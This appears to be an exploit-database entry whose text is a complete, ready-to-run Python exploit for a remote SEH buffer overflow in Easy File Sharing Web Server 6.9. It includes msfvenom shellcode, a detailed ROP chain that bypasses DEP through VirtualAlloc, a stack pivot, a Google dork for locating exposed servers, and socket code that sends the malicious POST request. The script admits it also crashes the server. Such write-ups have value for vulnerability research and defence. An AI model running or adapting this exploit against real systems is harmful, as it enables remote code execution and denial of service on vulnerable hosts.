Easy File Sharing Web Server 6.9 Buffer Overflow



EKU-ID: 7945 CVE: OSVDB-ID:
Author: Hodorsec Published: 2018-09-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/python

# Exploit Title:    Easy File Sharing Web Server 6.9 - 'POST' msg.ghp 'UserID' Remote Buffer Overflow (SEH)(DEP Bypass + ROP)
# Google Dork:      intitle:"Login - powered by Easy File Sharing Web Server"
# Version:          6.9
# Date:             2018-09-09
# Author:           Hodorsec (hodorsec@protonmail.com)
# Vendor Homepage:  http://www.efssoft.com/
# Tested on:        Win7 x86 SP1, Win8.1 x64, Win10 build 1703 x64

# Description:      
# Exploits the '/msg.ghp' in a HTTP POST request, using the UserID variable. Although more pages are vulnerable for the UserID variable, this one specifically accepts a large request and overwrites SEH.
# Initial discovery by fuzzing with sulley / boofuzz with iterating large requests of about 60000 characters on several pages/parameters. 
# Doesn't overwrite SEH when using a more smaller amount of chars on the "msg.ghp" page. 
# The 7.2 version includes "sqlite3.dll", which gives far more ROP instructions: the 6.9 version doesn't and had to use some additional ROP instructions just using "imageload.dll" and "fsws.exe".
# Does create DoS after executing exploit payload due to memory flooding.

# Additional note:  Although version 7.2 is a newer version, 7.2 still identifies itself with HTTP server-header "Server: Easy File Sharing Web Server v6.9", just like 6.9 does.
#                   This exploit only works for 6.9                    

import socket, struct, sys, ssl, time

if len(sys.argv) != 4:
    print "Usage: " + sys.argv[0] + " <host> <port> <http/https>\n"
    print "Example: " + sys.argv[0] + " 192.168.1.1 80 http"
    print "Example: " + sys.argv[0] + " 192.168.1.1 443 https\n"
    exit()

host    = sys.argv[1]    
port    = int(sys.argv[2])
method  = sys.argv[3]

if method == "http":
    print "Trying to connect via HTTP..."
elif method == "https":
    print "Trying to connect via SSL..."
else:
    print "\nInvalid method given: enter http or https\n"
    exit()

# Size 220
# msfvenom -p windows/exec cmd=calc.exe -f python -v shellcode -b "\x00\x0d\x0a\x3b" exitfunc=thread
shellcode =  ""
shellcode += "\xb8\x1f\xc0\xf7\x3f\xd9\xcf\xd9\x74\x24\xf4\x5d"
shellcode += "\x33\xc9\xb1\x31\x31\x45\x13\x03\x45\x13\x83\xed"
shellcode += "\xe3\x22\x02\xc3\xf3\x21\xed\x3c\x03\x46\x67\xd9"
shellcode += "\x32\x46\x13\xa9\x64\x76\x57\xff\x88\xfd\x35\x14"
shellcode += "\x1b\x73\x92\x1b\xac\x3e\xc4\x12\x2d\x12\x34\x34"
shellcode += "\xad\x69\x69\x96\x8c\xa1\x7c\xd7\xc9\xdc\x8d\x85"
shellcode += "\x82\xab\x20\x3a\xa7\xe6\xf8\xb1\xfb\xe7\x78\x25"
shellcode += "\x4b\x09\xa8\xf8\xc0\x50\x6a\xfa\x05\xe9\x23\xe4"
shellcode += "\x4a\xd4\xfa\x9f\xb8\xa2\xfc\x49\xf1\x4b\x52\xb4"
shellcode += "\x3e\xbe\xaa\xf0\xf8\x21\xd9\x08\xfb\xdc\xda\xce"
shellcode += "\x86\x3a\x6e\xd5\x20\xc8\xc8\x31\xd1\x1d\x8e\xb2"
shellcode += "\xdd\xea\xc4\x9d\xc1\xed\x09\x96\xfd\x66\xac\x79"
shellcode += "\x74\x3c\x8b\x5d\xdd\xe6\xb2\xc4\xbb\x49\xca\x17"
shellcode += "\x64\x35\x6e\x53\x88\x22\x03\x3e\xc6\xb5\x91\x44"
shellcode += "\xa4\xb6\xa9\x46\x98\xde\x98\xcd\x77\x98\x24\x04"
shellcode += "\x3c\x46\xc7\x8d\x48\xef\x5e\x44\xf1\x72\x61\xb2"
shellcode += "\x35\x8b\xe2\x37\xc5\x68\xfa\x3d\xc0\x35\xbc\xae"
shellcode += "\xb8\x26\x29\xd1\x6f\x46\x78\xb2\xee\xd4\xe0\x1b"
shellcode += "\x95\x5c\x82\x63"

def create_rop_chain():
    rop_gadgets = [

	# (1a) ECX --> flProtect (0x40)
	0x1001bd98,  # POP ECX # RETN [ImageLoad.dll] 
	0xffffffff,  # Filler
    ]
    for i in range(0,65):
	# (1b) ECX --> flProtect (0x40)
        rop_gadgets += [
		0x10021fd8,  # INC ECX # ADD AL,5F # POP ESI # POP EBP # POP EBX # RETN [ImageLoad.dll] 
		0xffffffff,  # Filler 
		0xffffffff,  # Filler 
		0xffffffff,  # Filler 
        ]

    rop_gadgets += [
        # (2) EBP --> skip 4 bytes
        0x1001cbbc,  # POP EBP # RETN [ImageLoad.dll] 
        0x1001cbbc,  # skip 4 bytes [ImageLoad.dll]

        # (3) EDX --> flAllocationType (0x1000)
	# (3a) EAX --> EBX
        0x1001fab4,  # pop ebx ; xor eax, eax ; ret [ImageLoad.dll]
        0xffffffff,
	0x10015442,  # POP EAX # RETN [ImageLoad.dll]
	0xFFFFEFFE,  # -1002
	0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
	0x1001614d,  # DEC EAX # RETN [ImageLoad.dll] 
	0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
	0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
	0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
	0x10015442,  # POP EAX # RETN [ImageLoad.dll]
	0x1004de84,  # &Writable location [ImageLoad.dll]
	# (3b) EBX --> EDX
	0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
	0x10022c1e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 
	0xffffffff,  # Filler
	0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
	0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]

	# (4) EBX --> dwSize (0x1)
	0x100132ba,  # POP EBX # RETN [ImageLoad.dll] 
	0xffffffff,  # Filler
	0x1001f6da,  # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 
	0x1001f6da,  # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 

	# (5) EDI --> ROP NOP in EDI
	0x100194c0,  # POP EDI # RETN    ** [ImageLoad.dll] ** 
	0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
	
        # (6) ESI --> JMP [EAX]
        0x10024632,  # POP ESI # RETN [ImageLoad.dll] 
        0x10021e9d,  # JMP [EAX] [ImageLoad.dll]

        # (7) EAX --> VirtualAlloc
	0x10015442,  # POP EAX # RETN    ** [ImageLoad.dll] **
        0x1004d1fc,  # ptr to &VirtualAlloc() [IAT ImageLoad.dll]

        # (8) End chain with PUSHAD - needs JMP ESP like instruction
	0x100240c2,  # PUSHAD # RETN    ** [ImageLoad.dll] **

        # (9) Craft JMP ESP location by negating, calling via JMP EAX
        0x10015442,  # POP EAX # RETN    ** [ImageLoad.dll] **
        0xffbde9c9,  # Value to negate for 00421637 ; JMP ESP    ** [fsws.exe] **
        0x100231d1,  # NEG EAX # RET  ** [ImageLoad.dll] **
        0x10012b14,  # jmp eax   ** [ImageLoad.dll] **
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
rop_chain = create_rop_chain()

# Flood it
flood = 56924

# NOPsled
nopsled = "\x90" * 32

# SEH pointer, large enough to pivot and added lastly due to null-byte in address
seh = "\x1e\x3f\x46" # add esp, 0x1320; ret 0xc;   ** [fsws.exe] **

# Filler
filler = struct.pack("<I", 0x1001a858) * ((flood - len(rop_chain + nopsled + shellcode + seh)) / 4) # RETN (ROP NOP) [ImageLoad.dll]

# Building buffer
buf = filler + rop_chain + nopsled + shellcode + "\x41" * (flood - len(filler + rop_chain + nopsled + shellcode)) + seh

try:
    print "[+] Sending request with " + str(len(buf)) + " bytes..."

    httpreq = (
    "POST /msg.ghp?forumid=1&id=1 HTTP/1.1\r\n"
    "Host: " + host + ":" + str(port) + "\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "User-Agent: Mozilla/5.0\r\n"
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n"
    "Accept-Encoding: gzip, deflate\r\n"
    "Accept-Language: en-US\r\n"
    "Cookie: UserID=" + buf + "; PassWD=1234; SESSIONID=1234\r\n"
    "Connection: close\r\n\r\n"
    "userid=1234&passwd=1234&content=1234&Update=Update"
    )

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    if method == "https":
        context = ssl._create_unverified_context()
        s = context.wrap_socket(s, server_hostname=host)
    s.settimeout(2)
    s.connect((host, port))
    s.send(httpreq)
    s.close()

    time.sleep(0.5)
except Exception as e:
    print(e)
    sys.exit(0)